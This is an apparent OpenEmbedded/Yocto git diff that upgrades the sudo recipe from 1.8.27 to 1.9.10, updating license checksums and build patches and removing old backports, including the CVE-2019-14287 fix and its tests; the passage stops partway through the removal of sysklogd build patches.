+Subject: [PATCH] lib/util/mksigname.c: correctly include header for out of
+ tree builds
+
+Upstream-Status: Submitted [https://github.com/sudo-project/sudo/pull/123]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ lib/util/mksigname.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/util/mksigname.c b/lib/util/mksigname.c
+index de8b1ad..0a69e7e 100644
+--- a/lib/util/mksigname.c
++++ b/lib/util/mksigname.c
+@@ -36,7 +36,7 @@ main(int argc, char *argv[])
+ {
+ unsigned int i;
+
+-#include "mksigname.h"
++#include "lib/util/mksigname.h"
+
+ printf("const char *const sudo_sys_signame[] = {\n");
+ for (i = 0; i < nitems(sudo_sys_signame); i++) {
diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
new file mode 100644
index 0000000000..f4fc376bb8
--- /dev/null
+++ b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
@@ -0,0 +1,61 @@
+sudo.conf.in: fix conflict with multilib
+
+When pass ${libdir} to --libexecdir of sudo, it fails to install sudo
+and lib32-sudo at same time:
+
+| Error: Transaction test error:
+| file /etc/sudo.conf conflicts between attempted installs of
+ sudo-1.9.3p1-r0.core2_64 and lib32-sudo-1.9.3p1-r0.core2_32
+
+Update the comments in sudo.conf.in to avoid the conflict.
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Upstream-Status: Inappropriate [OE configuration specific]
+---
+ examples/sudo.conf.in | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in
+index 6535d3a..50afc8f 100644
+--- a/examples/sudo.conf.in
++++ b/examples/sudo.conf.in
+@@ -4,7 +4,7 @@
+ # Sudo plugins:
+ # Plugin plugin_name plugin_path plugin_options ...
+ #
+-# The plugin_path is relative to @plugindir@ unless
++# The plugin_path is relative to $plugindir such as /usr/lib/sudo unless
+ # fully qualified.
+ # The plugin_name corresponds to a global symbol in the plugin
+ # that contains the plugin interface structure.
+@@ -51,7 +51,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_intercept.so file.
+ #
+-#Path intercept @plugindir@/sudo_intercept.so
++#Path intercept $plugindir/sudo_intercept.so
+
+ #
+ # Sudo noexec:
+@@ -65,7 +65,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_noexec.so file.
+ #
+-#Path noexec @plugindir@/sudo_noexec.so
++#Path noexec $plugindir/sudo_noexec.so
+
+ #
+ # Sudo plugin directory:
+@@ -74,7 +74,7 @@
+ # The default directory to use when searching for plugins that are
+ # specified without a fully qualified path name.
+ #
+-#Path plugin_dir @plugindir@
++#Path plugin_dir $plugindir
+
+ #
+ # Sudo developer mode:
+--
+2.17.1
+
diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc
index 15075bcefd..8947c46129 100644
--- a/meta/recipes-extended/sudo/sudo.inc
+++ b/meta/recipes-extended/sudo/sudo.inc
@@ -3,19 +3,19 @@ DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain
HOMEPAGE = "http://www.sudo.ws"
BUGTRACKER = "http://www.sudo.ws/bugs/"
SECTION = "admin"
-LICENSE = "ISC & BSD & Zlib"
-LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=6c76b73603ac7763ab0516ebfbe67b42 \
- file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=4a162fc04b86b03f5632180fe6076cda \
- file://lib/util/reallocarray.c;beginline=3;endline=15;md5=b47f1f85a12f05a0744cd8b1b6f41a0d \
- file://lib/util/fnmatch.c;beginline=3;endline=27;md5=67f83ee9bd456557397082f8f1be0efd \
- file://lib/util/getcwd.c;beginline=2;endline=27;md5=09068a19b4f6b6f0a0958655bfe98b63 \
- file://lib/util/glob.c;beginline=2;endline=31;md5=1f2f771c35fb0658d567a7824007e56d \
- file://lib/util/snprintf.c;beginline=3;endline=33;md5=63e48e1b992bce749a19dd9b2256e9a0 \
- file://include/sudo_queue.h;beginline=2;endline=27;md5=082b138b72ba3e568a13a25c3bf254dc \
- file://lib/util/inet_pton.c;beginline=3;endline=17;md5=3970ab0518ab79cbd0bafb697f10b33a \
- file://lib/util/arc4random.c;beginline=3;endline=20;md5=15bdc89c1b003fa4d7353e6296ebfd68 \
- file://lib/util/arc4random_uniform.c;beginline=3;endline=17;md5=31e630ac814d692fd0ab7a942659b46f \
- file://lib/util/getentropy.c;beginline=1;endline=19;md5=9f1a275ecd44cc264a2a4d5e06a75292 \
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=16cf60b466f3a0606427a7b624a3a670 \
+ file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \
+ file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \
+ file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \
+ file://lib/util/getcwd.c;beginline=2;endline=27;md5=50f8d9667750e18dea4e84a935c12009 \
+ file://lib/util/glob.c;beginline=2;endline=31;md5=2852f68687544e3eb8a0a61665506f0e \
+ file://lib/util/snprintf.c;beginline=3;endline=33;md5=b70df6179969e38fcf68da91b53b8029 \
+ file://include/sudo_queue.h;beginline=2;endline=27;md5=ad578e9664d17a010b63e4bc0576ee8d \
+ file://lib/util/inet_pton.c;beginline=3;endline=17;md5=27785c9f5835093eda42aa0816a2d0b4 \
+ file://lib/util/arc4random.c;beginline=3;endline=20;md5=ced8636ecefa2ba907cfe390bc3bd964 \
+ file://lib/util/arc4random_uniform.c;beginline=3;endline=17;md5=e30c2b777cdc00cfcaf7c445a10b262f \
+ file://lib/util/getentropy.c;beginline=1;endline=19;md5=a0f58be3d60b6dcd898ec5fe0866d36f \
"
inherit autotools
@@ -24,21 +24,17 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel"
-CONFFILES_${PN} = "${sysconfdir}/sudoers"
+EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor"
-EXTRA_OECONF = "--with-editor=/bin/vi --with-env-editor"
+EXTRA_OECONF:append:libc-musl = " --disable-hardening "
-EXTRA_OECONF_append_libc-musl = " --disable-hardening "
-
-# mksigname/mksiglist are used on build host to generate source files
-do_compile_prepend () {
- # Remove build host references from sudo_usage.h
- sed -i \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--build=${BUILD_SYS},,g' \
- -e 's,--host=${HOST_SYS},,g' \
- ${B}/src/sudo_usage.h
- oe_runmake SSP_CFLAGS="" SSP_LDFLAGS="" CC="$BUILD_CC" CFLAGS="$BUILD_CFLAGS" CPPFLAGS="$BUILD_CPPFLAGS -I${S}/include -I${S} -I${B}" -C lib/util mksigname mksiglist
+do_compile:prepend () {
+ # Remove build host references from sudo_usage.h
+ sed -i \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--build=${BUILD_SYS},,g' \
+ -e 's,--host=${HOST_SYS},,g' \
+ ${B}/src/sudo_usage.h
}
# Explicitly create ${localstatedir}/lib before do_install to ensure
@@ -46,6 +42,8 @@ do_compile_prepend () {
# script (from sudo) will recursively create ${localstatedir}/lib/sudo
# and then chmod each directory with 0700 permissions, which isn't what
# we want (i.e, users would not be able to access /var/lib).
-do_install_prepend (){
+do_install:prepend (){
mkdir -p ${D}/${localstatedir}/lib
}
+
+CVE_VERSION_SUFFIX = "patch"
diff --git a/meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch b/meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch
deleted file mode 100644
index eb36cd49bb..0000000000
--- a/meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 386e2c2fa2ab2e02ef71c268a57205139be329ab Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 07:07:49 +0000
-Subject: [PATCH] Include sys/types.h for id_t definition
-
-/sudo_util.h:219:14: error: unknown type name 'id_t'
- __dso_public id_t sudo_strtoid_v1(const char *str, const char *sep,
- char **endp, const char **errstr);
- ^
- make[1]: *** [preserve_fds.o] Error 1
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- include/sudo_util.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/include/sudo_util.h b/include/sudo_util.h
-index 89c9f89..ac0855a 100644
---- a/include/sudo_util.h
-+++ b/include/sudo_util.h
-@@ -17,6 +17,8 @@
- #ifndef SUDO_UTIL_H
- #define SUDO_UTIL_H
-
-+#include <sys/types.h>
-+
- #ifdef HAVE_STDBOOL_H
- # include <stdbool.h>
- #else
---
-2.5.1
-
diff --git a/meta/recipes-extended/sudo/sudo/CVE-2019-14287-1.patch b/meta/recipes-extended/sudo/sudo/CVE-2019-14287-1.patch
deleted file mode 100644
index 2a11e3f7ec..0000000000
--- a/meta/recipes-extended/sudo/sudo/CVE-2019-14287-1.patch
+++ /dev/null
@@ -1,178 +0,0 @@
-From f752ae5cee163253730ff7cdf293e34a91aa5520 Mon Sep 17 00:00:00 2001
-From: "Todd C. Miller" <Todd.Miller@sudo.ws>
-Date: Thu, 10 Oct 2019 10:04:13 -0600
-Subject: [PATCH] Treat an ID of -1 as invalid since that means "no change".
- Fixes CVE-2019-14287. Found by Joe Vennix from Apple Information Security.
-
-Upstream-Status: Backport [https://github.com/sudo-project/sudo/commit/f752ae5cee163253730ff7cdf293e34a91aa5520]
-CVE: CVE-2019-14287
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
----
- lib/util/strtoid.c | 100 ++++++++++++++++++++++++++++-------------------------
- 1 files changed, 53 insertions(+), 46 deletions(-)
-
-diff --git a/lib/util/strtoid.c b/lib/util/strtoid.c
-index 2dfce75..6b3916b 100644
---- a/lib/util/strtoid.c
-+++ b/lib/util/strtoid.c
-@@ -49,6 +49,27 @@
- #include "sudo_util.h"
-
- /*
-+ * Make sure that the ID ends with a valid separator char.
-+ */
-+static bool
-+valid_separator(const char *p, const char *ep, const char *sep)
-+{
-+ bool valid = false;
-+ debug_decl(valid_separator, SUDO_DEBUG_UTIL)
-+
-+ if (ep != p) {
-+ /* check for valid separator (including '\0') */
-+ if (sep == NULL)
-+ sep = "";
-+ do {
-+ if (*ep == *sep)
-+ valid = true;
-+ } while (*sep++ != '\0');
-+ }
-+ debug_return_bool(valid);
-+}
-+
-+/*
- * Parse a uid/gid in string form.
- * If sep is non-NULL, it contains valid separator characters (e.g. comma, space)
- * If endp is non-NULL it is set to the next char after the ID.
-@@ -62,36 +83,33 @@ sudo_strtoid_v1(const char *p, const char *sep, char **endp, const char **errstr
- char *ep;
- id_t ret = 0;
- long long llval;
-- bool valid = false;
- debug_decl(sudo_strtoid, SUDO_DEBUG_UTIL)
-
- /* skip leading space so we can pick up the sign, if any */
- while (isspace((unsigned char)*p))
- p++;
-- if (sep == NULL)
-- sep = "";
-+
-+ /* While id_t may be 64-bit signed, uid_t and gid_t are 32-bit unsigned. */
- errno = 0;
- llval = strtoll(p, &ep, 10);
-- if (ep != p) {
-- /* check for valid separator (including '\0') */
-- do {
-- if (*ep == *sep)
-- valid = true;
-- } while (*sep++ != '\0');
-+ if ((errno == ERANGE && llval == LLONG_MAX) || llval > (id_t)UINT_MAX) {
-+ errno = ERANGE;
-+ if (errstr != NULL)
-+ *errstr = N_("value too large");
-+ goto done;
- }
-- if (!valid) {
-+ if ((errno == ERANGE && llval == LLONG_MIN) || llval < INT_MIN) {
-+ errno = ERANGE;
- if (errstr != NULL)
-- *errstr = N_("invalid value");
-- errno = EINVAL;
-+ *errstr = N_("value too small");
- goto done;
- }
-- if (errno == ERANGE) {
-- if (errstr != NULL) {
-- if (llval == LLONG_MAX)
-- *errstr = N_("value too large");
-- else
-- *errstr = N_("value too small");
-- }
-+
-+ /* Disallow id -1, which means "no change". */
-+ if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {
-+ if (errstr != NULL)
-+ *errstr = N_("invalid value");
-+ errno = EINVAL;
- goto done;
- }
- ret = (id_t)llval;
-@@ -108,30 +126,15 @@ sudo_strtoid_v1(const char *p, const char *sep, char **endp, const char **errstr
- {
- char *ep;
- id_t ret = 0;
-- bool valid = false;
- debug_decl(sudo_strtoid, SUDO_DEBUG_UTIL)
-
- /* skip leading space so we can pick up the sign, if any */
- while (isspace((unsigned char)*p))
- p++;
-- if (sep == NULL)
-- sep = "";
-+
- errno = 0;
- if (*p == '-') {
- long lval = strtol(p, &ep, 10);
-- if (ep != p) {
-- /* check for valid separator (including '\0') */
-- do {
-- if (*ep == *sep)
-- valid = true;
-- } while (*sep++ != '\0');
-- }
-- if (!valid) {
-- if (errstr != NULL)
-- *errstr = N_("invalid value");
-- errno = EINVAL;
-- goto done;
-- }
- if ((errno == ERANGE && lval == LONG_MAX) || lval > INT_MAX) {
- errno = ERANGE;
- if (errstr != NULL)
-@@ -144,28 +147,31 @@ sudo_strtoid_v1(const char *p, const char *sep, char **endp, const char **errstr
- *errstr = N_("value too small");
- goto done;
- }
-- ret = (id_t)lval;
-- } else {
-- unsigned long ulval = strtoul(p, &ep, 10);
-- if (ep != p) {
-- /* check for valid separator (including '\0') */
-- do {
-- if (*ep == *sep)
-- valid = true;
-- } while (*sep++ != '\0');
-- }
-- if (!valid) {
-+
-+ /* Disallow id -1, which means "no change". */
-+ if (!valid_separator(p, ep, sep) || lval == -1) {
- if (errstr != NULL)
- *errstr = N_("invalid value");
- errno = EINVAL;
- goto done;
- }
-+ ret = (id_t)lval;
-+ } else {
-+ unsigned long ulval = strtoul(p, &ep, 10);
- if ((errno == ERANGE && ulval == ULONG_MAX) || ulval > UINT_MAX) {
- errno = ERANGE;
- if (errstr != NULL)
- *errstr = N_("value too large");
- goto done;
- }
-+
-+ /* Disallow id -1, which means "no change". */
-+ if (!valid_separator(p, ep, sep) || ulval == UINT_MAX) {
-+ if (errstr != NULL)
-+ *errstr = N_("invalid value");
-+ errno = EINVAL;
-+ goto done;
-+ }
- ret = (id_t)ulval;
- }
- if (errstr != NULL)
---
-2.7.4
-
diff --git a/meta/recipes-extended/sudo/sudo/CVE-2019-14287-2.patch b/meta/recipes-extended/sudo/sudo/CVE-2019-14287-2.patch
deleted file mode 100644
index 453a8b09a4..0000000000
--- a/meta/recipes-extended/sudo/sudo/CVE-2019-14287-2.patch
+++ /dev/null
@@ -1,112 +0,0 @@
-From 396bc57feff3e360007634f62448b64e0626390c Mon Sep 17 00:00:00 2001
-From: "Todd C. Miller" <Todd.Miller@sudo.ws>
-Date: Thu, 10 Oct 2019 10:04:13 -0600
-Subject: [PATCH] Add sudo_strtoid() tests for -1 and range errors. Also adjust
- testsudoers/test5 which relied upon gid -1 parsing.
-
-Upstream-Status: Backport [https://github.com/sudo-project/sudo/commit/396bc57]
-CVE: CVE-2019-14287
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
----
- lib/util/regress/atofoo/atofoo_test.c | 36 ++++++++++++++++------
- plugins/sudoers/regress/testsudoers/test5.out.ok | 2 +-
- plugins/sudoers/regress/testsudoers/test5.sh | 2 +-
- 3 files changed, 29 insertions(+), 11 deletions(-)
-
-diff --git a/lib/util/regress/atofoo/atofoo_test.c b/lib/util/regress/atofoo/atofoo_test.c
-index 031a7ed..fb41c1a 100644
---- a/lib/util/regress/atofoo/atofoo_test.c
-+++ b/lib/util/regress/atofoo/atofoo_test.c
-@@ -26,6 +26,7 @@
- #else
- # include "compat/stdbool.h"
- #endif
-+#include <errno.h>
-
- #include "sudo_compat.h"
- #include "sudo_util.h"
-@@ -80,15 +81,20 @@ static struct strtoid_data {
- id_t id;
- const char *sep;
- const char *ep;
-+ int errnum;
- } strtoid_data[] = {
-- { "0,1", 0, ",", "," },
-- { "10", 10, NULL, NULL },
-- { "-2", -2, NULL, NULL },
-+ { "0,1", 0, ",", ",", 0 },
-+ { "10", 10, NULL, NULL, 0 },
-+ { "-1", 0, NULL, NULL, EINVAL },
-+ { "4294967295", 0, NULL, NULL, EINVAL },
-+ { "4294967296", 0, NULL, NULL, ERANGE },
-+ { "-2147483649", 0, NULL, NULL, ERANGE },
-+ { "-2", -2, NULL, NULL, 0 },
- #if SIZEOF_ID_T != SIZEOF_LONG_LONG
-- { "-2", (id_t)4294967294U, NULL, NULL },
-+ { "-2", (id_t)4294967294U, NULL, NULL, 0 },
- #endif
-- { "4294967294", (id_t)4294967294U, NULL, NULL },
-- { NULL, 0, NULL, NULL }
-+ { "4294967294", (id_t)4294967294U, NULL, NULL, 0 },
-+ { NULL, 0, NULL, NULL, 0 }
- };
-
- static int
-@@ -104,11 +110,23 @@ test_strtoid(int *ntests)
- (*ntests)++;
- errstr = "some error";
- value = sudo_strtoid(d->idstr, d->sep, &ep, &errstr);
-- if (errstr != NULL) {
-- if (d->id != (id_t)-1) {
-- sudo_warnx_nodebug("FAIL: %s: %s", d->idstr, errstr);
-+ if (d->errnum != 0) {
-+ if (errstr == NULL) {
-+ sudo_warnx_nodebug("FAIL: %s: missing errstr for errno %d",
-+ d->idstr, d->errnum);
-+ errors++;
-+ } else if (value != 0) {
-+ sudo_warnx_nodebug("FAIL: %s should return 0 on error",
-+ d->idstr);
-+ errors++;
-+ } else if (errno != d->errnum) {
-+ sudo_warnx_nodebug("FAIL: %s: errno mismatch, %d != %d",
-+ d->idstr, errno, d->errnum);
- errors++;
- }
-+ } else if (errstr != NULL) {
-+ sudo_warnx_nodebug("FAIL: %s: %s", d->idstr, errstr);
-+ errors++;
- } else if (value != d->id) {
- sudo_warnx_nodebug("FAIL: %s != %u", d->idstr, (unsigned int)d->id);
- errors++;
-diff --git a/plugins/sudoers/regress/testsudoers/test5.out.ok b/plugins/sudoers/regress/testsudoers/test5.out.ok
-index 5e319c9..cecf700 100644
---- a/plugins/sudoers/regress/testsudoers/test5.out.ok
-+++ b/plugins/sudoers/regress/testsudoers/test5.out.ok
-@@ -4,7 +4,7 @@ Parse error in sudoers near line 1.
- Entries for user root:
-
- Command unmatched
--testsudoers: test5.inc should be owned by gid 4294967295
-+testsudoers: test5.inc should be owned by gid 4294967294
- Parse error in sudoers near line 1.
-
- Entries for user root:
-diff --git a/plugins/sudoers/regress/testsudoers/test5.sh b/plugins/sudoers/regress/testsudoers/test5.sh
-index 9e690a6..94d585c 100755
---- a/plugins/sudoers/regress/testsudoers/test5.sh
-+++ b/plugins/sudoers/regress/testsudoers/test5.sh
-@@ -24,7 +24,7 @@ EOF
-
- # Test group writable
- chmod 664 $TESTFILE
--./testsudoers -U $MYUID -G -1 root id <<EOF
-+./testsudoers -U $MYUID -G -2 root id <<EOF
- #include $TESTFILE
- EOF
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/sudo/sudo_1.8.27.bb b/meta/recipes-extended/sudo/sudo_1.8.27.bb
deleted file mode 100644
index 0a11a1b28f..0000000000
--- a/meta/recipes-extended/sudo/sudo_1.8.27.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-require sudo.inc
-
-SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://0001-Include-sys-types.h-for-id_t-definition.patch \
- file://CVE-2019-14287-1.patch \
- file://CVE-2019-14287-2.patch \
- "
-
-PAM_SRC_URI = "file://sudo.pam"
-
-SRC_URI[md5sum] = "b5c184b13b6b5de32af630af2fd013fd"
-SRC_URI[sha256sum] = "7beb68b94471ef56d8a1036dbcdc09a7b58a949a68ffce48b83f837dd33e2ec0"
-
-DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
-
-EXTRA_OECONF += " \
- ac_cv_type_rsize_t=no \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
- "
-
-do_install_append () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
- if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
- echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
- sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
- fi
- fi
-
- chmod 4111 ${D}${bindir}/sudo
- chmod 0440 ${D}${sysconfdir}/sudoers
-
- # Explicitly remove the /run directory to avoid QA error
- rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
-}
-
-FILES_${PN} += "${nonarch_libdir}/tmpfiles.d"
-FILES_${PN}-dev += "${libexecdir}/${BPN}/lib*${SOLIBSDEV} ${libexecdir}/${BPN}/*.la \
- ${libexecdir}/lib*${SOLIBSDEV} ${libexecdir}/*.la"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.10.bb b/meta/recipes-extended/sudo/sudo_1.9.10.bb
new file mode 100644
index 0000000000..aa0d814ed7
--- /dev/null
+++ b/meta/recipes-extended/sudo/sudo_1.9.10.bb
@@ -0,0 +1,62 @@
+require sudo.inc
+
+SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \
+ file://0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch \
+ "
+
+PAM_SRC_URI = "file://sudo.pam"
+
+SRC_URI[sha256sum] = "44a1461098e7c7b8e6ac597499c24fb2e43748c0c139a8b4944e57d1349a64f4"
+
+DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
+
+CACHED_CONFIGUREVARS = " \
+ ac_cv_type_rsize_t=no \
+ ac_cv_path_MVPROG=${base_bindir}/mv \
+ ac_cv_path_BSHELLPROG=${base_bindir}/sh \
+ ac_cv_path_SENDMAILPROG=${sbindir}/sendmail \
+ ac_cv_path_VIPROG=${base_bindir}/vi \
+ "
+
+EXTRA_OECONF += " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
+ --with-rundir=/run/sudo \
+ --with-vardir=/var/lib/sudo \
+ --libexecdir=${libdir} \
+ "
+
+do_install:append () {
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
+ echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
+ sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
+ fi
+ fi
+
+ chmod 4111 ${D}${bindir}/sudo
+ chmod 0440 ${D}${sysconfdir}/sudoers
+
+ # Explicitly remove the /sudo directory to avoid QA error
+ rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
+}
+
+FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
+ ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
+
+CONFFILES:${PN}-lib = "${sysconfdir}/sudoers"
+
+SUDO_PACKAGES = "${PN}-sudo\
+ ${PN}-lib"
+
+PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}"
+
+RDEPENDS:${PN}-sudo = "${PN}-lib"
+RDEPENDS:${PN} += "${SUDO_PACKAGES}"
+
+FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit"
+FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}"
diff --git a/meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch b/meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 9567946c0c..0000000000
--- a/meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,132 +0,0 @@
-From f0af5bcfd753691652eac35efbcb208c933253f1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 05:11:53 +0000
-Subject: [PATCH] Fix build with musl
-
-Explicitly include fcntl.h since with glibc is comes in as indirect
-include but not with musl
-
-linux/time.h inclusion is not required on musl so using !__GLIBC__ is
-not right for musl here
-
-wait type is glibc specific
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- klogd.c | 10 +---------
- ksym_mod.c | 5 +----
- pidfile.c | 1 +
- syslog.c | 3 ++-
- syslogd.c | 4 +---
- 5 files changed, 6 insertions(+), 17 deletions(-)
-
-diff --git a/klogd.c b/klogd.c
-index 6cc80ed..9219671 100644
---- a/klogd.c
-+++ b/klogd.c
-@@ -260,11 +260,8 @@
- #include <unistd.h>
- #include <signal.h>
- #include <errno.h>
--#include <sys/fcntl.h>
-+#include <fcntl.h>
- #include <sys/stat.h>
--#if !defined(__GLIBC__)
--#include <linux/time.h>
--#endif /* __GLIBC__ */
- #include <stdarg.h>
- #include <paths.h>
- #include <stdlib.h>
-@@ -277,13 +274,8 @@
-
- #define __LIBRARY__
- #include <linux/unistd.h>
--#if !defined(__GLIBC__)
--# define __NR_ksyslog __NR_syslog
--_syscall3(int,ksyslog,int, type, char *, buf, int, len);
--#else
- #include <sys/klog.h>
- #define ksyslog klogctl
--#endif
-
- #define LOG_BUFFER_SIZE 4096
- #define LOG_LINE_LENGTH 1000
-diff --git a/ksym_mod.c b/ksym_mod.c
-index 68cd6b6..6e26da1 100644
---- a/ksym_mod.c
-+++ b/ksym_mod.c
-@@ -113,12 +113,9 @@
- #include <unistd.h>
- #include <signal.h>
- #include <errno.h>
--#include <sys/fcntl.h>
-+#include <fcntl.h>
- #include <sys/stat.h>
- #include "module.h"
--#if !defined(__GLIBC__)
--#include <linux/time.h>
--#endif /* __GLIBC__ */
- #include <stdarg.h>
- #include <paths.h>
- #include <linux/version.h>
-diff --git a/pidfile.c b/pidfile.c
-index e0959a0..6daa2e0 100644
---- a/pidfile.c
-+++ b/pidfile.c
-@@ -31,6 +31,7 @@
- #include <string.h>
- #include <errno.h>
- #include <signal.h>
-+#include <fcntl.h>
-
- /* read_pid
- *
-diff --git a/syslog.c b/syslog.c
-index bdb3ff2..ef7b34e 100644
---- a/syslog.c
-+++ b/syslog.c
-@@ -55,7 +55,7 @@ static char sccsid[] = "@(#)syslog.c 5.28 (Berkeley) 6/27/90";
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/file.h>
--#include <sys/signal.h>
-+//#include <sys/signal.h>
- #include <sys/syslog.h>
- #if 0
- #include "syslog.h"
-@@ -72,6 +72,7 @@ static char sccsid[] = "@(#)syslog.c 5.28 (Berkeley) 6/27/90";
- #include <stdarg.h>
- #include <paths.h>
- #include <stdio.h>
-+#include <fcntl.h>
-
- #define _PATH_LOGNAME "/dev/log"
-
-diff --git a/syslogd.c b/syslogd.c
-index ea73ea5..1ca0595 100644
---- a/syslogd.c
-+++ b/syslogd.c
-@@ -818,9 +818,7 @@ void doexit(int sig);
- void init();
- void cfline(char *line, register struct filed *f);
- int decode(char *name, struct code *codetab);
--#if defined(__GLIBC__)
- #define dprintf mydprintf
--#endif /* __GLIBC__ */
- static void dprintf(char *, ...);
- static void allocate_log(void);
- void sighup_handler();
-@@ -2094,7 +2092,7 @@ void reapchild()
- (void) signal(SIGCHLD, reapchild); /* reset signal handler -ASP */
- wait ((int *)0);
- #else
-- union wait status;
-+ int status;
-
- while (wait3(&status, WNOHANG, (struct rusage *) NULL) > 0)
- ;
---
-2.5.1
-
diff --git a/meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch b/meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch
deleted file mode 100644
index 56431af845..0000000000
--- a/meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From cb72b3e172c238b4b5ae5935dc6be54f5034fcf1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 30 Jun 2017 18:20:06 -0700
-Subject: [PATCH 1/2] fix problems that causes a segmentation fault under some
- conditions
-
